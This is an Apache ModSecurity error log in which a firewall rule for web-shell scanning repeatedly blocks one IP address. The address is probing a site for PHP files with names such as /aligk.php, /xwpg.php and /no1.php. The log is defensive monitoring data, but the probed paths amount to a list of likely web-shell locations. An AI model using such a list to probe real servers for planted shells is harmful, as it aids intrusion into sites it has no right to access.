[Tue Apr 21 17:58:31.946797 2026] [:error] [pid 4823:tid 4867] [client 20.199.181.135:5442] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aligk.php"] [unique_id "aedKR_c8mke3PfHqsxHltwAAAY4"]
[Tue Apr 21 17:58:32.418580 2026] [:error] [pid 53731:tid 53745] [client 20.199.181.135:63331] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aligk.php"] [unique_id "aedKSF2I9THUR-bRVGwhPQAAAgo"]
[Tue Apr 21 17:58:32.890520 2026] [:error] [pid 4777:tid 4807] [client 20.199.181.135:58906] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aligk.php"] [unique_id "aedKSKxXur6bykKyLZSZJQAAARM"]
[Tue Apr 21 17:58:33.363340 2026] [:error] [pid 35320:tid 35330] [client 20.199.181.135:52385] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aligk.php"] [unique_id "aedKSYJW6fdXWO6agMFl2gAAAAA"]
[Tue Apr 21 17:58:33.836757 2026] [:error] [pid 35415:tid 35432] [client 20.199.181.135:36099] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aedKSUiqDinI4_22zzhlZQAAAMU"]
[Tue Apr 21 17:58:34.310115 2026] [:error] [pid 53832:tid 53848] [client 20.199.181.135:5445] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aedKStzkuxsE_OhM9UJN0gAAAk0"]
[Tue Apr 21 17:58:34.782318 2026] [:error] [pid 35320:tid 35336] [client 20.199.181.135:52387] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aedKSoJW6fdXWO6agMFl4QAAAAY"]
[Tue Apr 21 17:58:35.254605 2026] [:error] [pid 35321:tid 35400] [client 20.199.181.135:63342] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byrgo.php"] [unique_id "aedKSzeHLhVUuu8cVXwSEQAAAFA"]
[Tue Apr 21 17:58:35.731057 2026] [:error] [pid 35320:tid 35335] [client 20.199.181.135:52374] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwpg.php"] [unique_id "aedKS4JW6fdXWO6agMFl6AAAAAU"]
[Tue Apr 21 17:58:36.204815 2026] [:error] [pid 35321:tid 35396] [client 20.199.181.135:52445] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwpg.php"] [unique_id "aedKTDeHLhVUuu8cVXwSFgAAAEw"]
[Tue Apr 21 17:58:36.676757 2026] [:error] [pid 35321:tid 35406] [client 20.199.181.135:63332] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwpg.php"] [unique_id "aedKTDeHLhVUuu8cVXwSGwAAAFY"]
[Tue Apr 21 17:58:37.148839 2026] [:error] [pid 35321:tid 35395] [client 20.199.181.135:51142] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwpg.php"] [unique_id "aedKTTeHLhVUuu8cVXwSHwAAAEs"]
[Tue Apr 21 17:58:37.620483 2026] [:error] [pid 35321:tid 35403] [client 20.199.181.135:52390] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ass.php"] [unique_id "aedKTTeHLhVUuu8cVXwSIwAAAFM"]
[Tue Apr 21 17:58:38.095138 2026] [:error] [pid 35320:tid 35341] [client 20.199.181.135:60804] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ass.php"] [unique_id "aedKToJW6fdXWO6agMFl8AAAAAs"]
[Tue Apr 21 17:58:38.568359 2026] [:error] [pid 35320:tid 35335] [client 20.199.181.135:52402] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ass.php"] [unique_id "aedKToJW6fdXWO6agMFl8gAAAAU"]
[Tue Apr 21 17:58:39.038602 2026] [:error] [pid 35321:tid 35387] [client 20.199.181.135:52461] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ass.php"] [unique_id "aedKTzeHLhVUuu8cVXwSKQAAAEM"]
[Tue Apr 21 17:58:39.513173 2026] [:error] [pid 35321:tid 35389] [client 20.199.181.135:60837] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/about.php"] [unique_id "aedKTzeHLhVUuu8cVXwSLAAAAEU"]
[Tue Apr 21 17:58:39.984484 2026] [:error] [pid 35320:tid 35352] [client 20.199.181.135:52408] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/about.php"] [unique_id "aedKT4JW6fdXWO6agMFl9AAAABY"]
[Tue Apr 21 17:58:40.454638 2026] [:error] [pid 53832:tid 53839] [client 20.199.181.135:52425] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/about.php"] [unique_id "aedKUNzkuxsE_OhM9UJN4wAAAkQ"]
[Tue Apr 21 17:58:40.928529 2026] [:error] [pid 35415:tid 35450] [client 20.199.181.135:58884] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/about.php"] [unique_id "aedKUEiqDinI4_22zzhlZgAAANc"]
[Tue Apr 21 17:58:41.401968 2026] [:error] [pid 53978:tid 53987] [client 20.199.181.135:51221] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/no18.php"] [unique_id "aedKUZ1ivsR4hcOSQbbqwAAAAoc"]
[Tue Apr 21 17:58:41.875984 2026] [:error] [pid 53731:tid 53743] [client 20.199.181.135:51253] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/no18.php"] [unique_id "aedKUV2I9THUR-bRVGwhSAAAAgg"]
[Tue Apr 21 17:58:42.348615 2026] [:error] [pid 53731:tid 53735] [client 20.199.181.135:51175] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/no18.php"] [unique_id "aedKUl2I9THUR-bRVGwhTAAAAgA"]
[Tue Apr 21 17:58:42.821992 2026] [:error] [pid 35321:tid 35386] [client 20.199.181.135:63338] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/no18.php"] [unique_id "aedKUjeHLhVUuu8cVXwSSAAAAEI"]
[Tue Apr 21 17:58:43.295069 2026] [:error] [pid 4777:tid 4794] [client 20.199.181.135:52471] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fine.php"] [unique_id "aedKU6xXur6bykKyLZSZKQAAAQY"]
[Tue Apr 21 17:58:43.766825 2026] [:error] [pid 35320:tid 35352] [client 20.199.181.135:58915] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fine.php"] [unique_id "aedKU4JW6fdXWO6agMFl_gAAABY"]
[Tue Apr 21 17:58:44.239424 2026] [:error] [pid 35415:tid 35447] [client 20.199.181.135:58899] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fine.php"] [unique_id "aedKVEiqDinI4_22zzhlaQAAANQ"]
[Tue Apr 21 17:58:44.710632 2026] [:error] [pid 35321:tid 35384] [client 20.199.181.135:52436] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fine.php"] [unique_id "aedKVDeHLhVUuu8cVXwSTgAAAEA"]
[Tue Apr 21 17:58:45.182502 2026] [:error] [pid 53978:tid 54000] [client 20.199.181.135:51192] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aedKVZ1ivsR4hcOSQbbqyAAAApQ"]
[Tue Apr 21 17:58:45.654576 2026] [:error] [pid 35321:tid 35402] [client 20.199.181.135:50654] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aedKVTeHLhVUuu8cVXwSVgAAAFI"]
[Tue Apr 21 17:58:46.127039 2026] [:error] [pid 35321:tid 35408] [client 20.199.181.135:52394] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aedKVjeHLhVUuu8cVXwSWwAAAFg"]
[Tue Apr 21 17:58:46.598556 2026] [:error] [pid 35321:tid 35407] [client 20.199.181.135:50659] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aedKVjeHLhVUuu8cVXwSYQAAAFc"]
[Tue Apr 21 17:58:47.072895 2026] [:error] [pid 35320:tid 35334] [client 20.199.181.135:58922] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xa.php"] [unique_id "aedKV4JW6fdXWO6agMFmBwAAAAQ"]
[Tue Apr 21 17:58:47.544377 2026] [:error] [pid 53731:tid 53741] [client 20.199.181.135:60819] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xa.php"] [unique_id "aedKV12I9THUR-bRVGwhYQAAAgY"]
[Tue Apr 21 17:58:48.016202 2026] [:error] [pid 53731:tid 53743] [client 20.199.181.135:52446] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xa.php"] [unique_id "aedKWF2I9THUR-bRVGwhbQAAAgg"]
[Tue Apr 21 17:58:48.492126 2026] [:error] [pid 53731:tid 53741] [client 20.199.181.135:51233] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xa.php"] [unique_id "aedKWF2I9THUR-bRVGwhdAAAAgY"]
[Tue Apr 21 17:58:48.963205 2026] [:error] [pid 35321:tid 35408] [client 20.199.181.135:52403] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "aedKWDeHLhVUuu8cVXwSaQAAAFg"]
[Tue Apr 21 17:58:49.435266 2026] [:error] [pid 53731:tid 53760] [client 20.199.181.135:63314] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "aedKWV2I9THUR-bRVGwheAAAAhg"]
[Tue Apr 21 17:58:49.906058 2026] [:error] [pid 35321:tid 35396] [client 20.199.181.135:45909] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "aedKWTeHLhVUuu8cVXwSawAAAEw"]
[Tue Apr 21 17:58:50.377815 2026] [:error] [pid 53731:tid 53743] [client 20.199.181.135:58925] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "aedKWl2I9THUR-bRVGwhfAAAAgg"]
[Tue Apr 21 17:58:50.850463 2026] [:error] [pid 35320:tid 35353] [client 20.199.181.135:51256] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inege.php"] [unique_id "aedKWoJW6fdXWO6agMFmGQAAABc"]
[Tue Apr 21 17:58:51.323119 2026] [:error] [pid 35320:tid 35347] [client 20.199.181.135:5161] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inege.php"] [unique_id "aedKW4JW6fdXWO6agMFmHAAAABE"]
[Tue Apr 21 17:58:51.795565 2026] [:error] [pid 35320:tid 35352] [client 20.199.181.135:5129] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inege.php"] [unique_id "aedKW4JW6fdXWO6agMFmHwAAABY"]
[Tue Apr 21 17:58:52.282394 2026] [:error] [pid 53978:tid 53987] [client 20.199.181.135:51178] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inege.php"] [unique_id "aedKXJ1ivsR4hcOSQbbq5AAAAoc"]
[Tue Apr 21 17:58:52.760464 2026] [:error] [pid 53978:tid 53995] [client 20.199.181.135:51224] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "aedKXJ1ivsR4hcOSQbbq6AAAAo8"]
[Tue Apr 21 17:58:53.232579 2026] [:error] [pid 35321:tid 35387] [client 20.199.181.135:5182] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "aedKXTeHLhVUuu8cVXwSbwAAAEM"]
[Tue Apr 21 17:58:53.704428 2026] [:error] [pid 35321:tid 35392] [client 20.199.181.135:50631] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "aedKXTeHLhVUuu8cVXwScQAAAEg"]
[Tue Apr 21 17:58:54.176529 2026] [:error] [pid 35320:tid 35342] [client 20.199.181.135:50667] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "aedKXoJW6fdXWO6agMFmIwAAAAw"]
[Tue Apr 21 17:58:54.648672 2026] [:error] [pid 35415:tid 35451] [client 20.199.181.135:65372] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "aedKXkiqDinI4_22zzhlawAAANg"]
[Tue Apr 21 17:58:55.122267 2026] [:error] [pid 35320:tid 35339] [client 20.199.181.135:45947] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "aedKX4JW6fdXWO6agMFmKAAAAAk"]
[Tue Apr 21 17:58:55.594625 2026] [:error] [pid 35321:tid 35387] [client 20.199.181.135:51242] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "aedKXzeHLhVUuu8cVXwSfQAAAEM"]
[Tue Apr 21 17:58:56.076971 2026] [:error] [pid 35321:tid 35396] [client 20.199.181.135:65344] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "aedKYDeHLhVUuu8cVXwSfwAAAEw"]
[Tue Apr 21 17:58:56.549974 2026] [:error] [pid 35320:tid 35332] [client 20.199.181.135:45892] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/no1.php"] [unique_id "aedKYIJW6fdXWO6agMFmLAAAAAI"]
[Tue Apr 21 17:58:57.023502 2026] [:error] [pid 35320:tid 35331] [client 20.199.181.135:50635] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/no1.php"] [unique_id "aedKYYJW6fdXWO6agMFmLwAAAAE"]
[Tue Apr 21 17:58:57.496034 2026] [:error] [pid 53731:tid 53756] [client 20.199.181.135:65392] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/no1.php"] [unique_id "aedKYV2I9THUR-bRVGwhlQAAAhQ"]
[Tue Apr 21 17:58:57.967693 2026] [:error] [pid 35321:tid 35400] [client 20.199.181.135:65399] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/no1.php"] [unique_id "aedKYTeHLhVUuu8cVXwSiwAAAFA"]
